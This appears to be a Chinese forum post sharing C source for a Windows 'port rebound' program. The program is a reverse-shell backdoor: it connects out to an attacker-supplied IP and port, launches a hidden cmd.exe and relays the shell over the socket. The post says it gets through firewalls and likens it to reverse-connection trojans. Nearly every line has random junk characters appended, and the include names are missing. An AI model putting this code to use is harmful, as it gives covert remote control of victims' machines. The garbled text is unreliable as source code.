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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lE=Q(QUr  
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/* ============================== q& 4Z.(  
Rebound port in Windows NT t(Iy[-  
By wind,2006/7 \!z=x#!O$  
===============================*/ *"j_3vAx  
#include G0y%_"[  
#include B^$l]cvZ  
?#slg8[  
#pragma comment(lib,"wsock32.lib") jVk|(  
&<.Z4GxS  
void OutputShell(); mxGvhkj  
SOCKET sClient; o.}^6.h"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &&JI$x0;  
|WubIj*\{  
void main(int argc,char **argv) ?ix0n,m  
{ D.R5-  
WSADATA stWsaData; [9aaHf@'  
int nRet; l<z[)fE{uS  
SOCKADDR_IN stSaiClient,stSaiServer; .-c3f1i  
z9;vE7n!  
if(argc != 3) P]r"E  
{ x1mxM#ql  
printf("Useage:\n\rRebound DestIP DestPort\n"); C2ToT\^  
return; dpJi5fN  
}  fB;'U  
5 MQRb?[  
WSAStartup(MAKEWORD(2,2),&stWsaData); J6NQ5S\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )bw>)&)b`  
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stSaiClient.sin_family = AF_INET; e0>@Yp[Kd  
stSaiClient.sin_port = htons(0); ][wS}~):  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AVNB)K"  
_Y\@{T;^Zb  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vk;>#yoox  
{ l]3g6c  
printf("Bind Socket Failed!\n"); 3]xnKb|W  
return; ^b>E_u  
} pPG!{:YT  
fBw+Y4nCO7  
stSaiServer.sin_family = AF_INET; A(;J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d'Gv\i&e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 69yTGUG3  
'{6`n5:e  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Wu.od|t0  
{ %z8@;  
printf("Connect Error!"); =p&6A^  
return; alHwN^GhP  
} o)S>x0| [  
OutputShell(); uvD 6uIW<  
} % ,~; w0  
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void OutputShell() $. V(_  
{ as o8  
char szBuff[1024]; [ .dNX  
SECURITY_ATTRIBUTES stSecurityAttributes; fp12-Hk ~  
OSVERSIONINFO stOsversionInfo; +u25>pX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z13"S(5D~  
STARTUPINFO stStartupInfo; s/P\w"/fN  
char *szShell; <|Z0|sel  
PROCESS_INFORMATION stProcessInformation; ,EwJg69  
unsigned long lBytesRead; _eO+O=j_x  
;J?^M!l2=  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3%|<U51  
l\$_t2U  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \Xxx5:qM  
stSecurityAttributes.lpSecurityDescriptor = 0; FopD/D{  
stSecurityAttributes.bInheritHandle = TRUE; <w{W1*R9  
q. BqOa:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B#EF/\5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z][?'^`^!  
du'$JtZo  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vc^PXjX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9Cf^Q3)5o  
stStartupInfo.wShowWindow = SW_HIDE; kQVl8KS  
stStartupInfo.hStdInput = hReadPipe; 1{";u"q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <!DOCvd  
8'g/WZY~~  
GetVersionEx(&stOsversionInfo); nW|[poQK  
m\@Q/_ v  
switch(stOsversionInfo.dwPlatformId) +H ="5uO<  
{ V!FzVl=G  
case 1: ]p0m6}B  
szShell = "command.com"; i1aS2gFi_  
break;  pLyX9C  
default: o/=K:5  
szShell = "cmd.exe"; $I1p"6  
break; \?qXscq  
} |l)Oy#W  
X]y3~|K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zq1&MXR)l  
;'J L$=  
send(sClient,szMsg,77,0); /=7|FtB`  
while(1) Z$WT ~V  
{ -t*C-C'"|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #"7:NR^H^  
if(lBytesRead) C: e}}8i  
{ xn}'!S2-b  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cs@5K$v  
send(sClient,szBuff,lBytesRead,0); BA t2m-  
} VT'$lB%IK  
else by8d18:it  
{ xYwbbFGrG  
lBytesRead=recv(sClient,szBuff,1024,0); Y6{p|F?&"  
if(lBytesRead<=0) break; jh8%Xu]t  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @ju-cv+  
} ZU "y<  
} cRU.   
]/d2*#  
return; A]=?fyPh{'  
}
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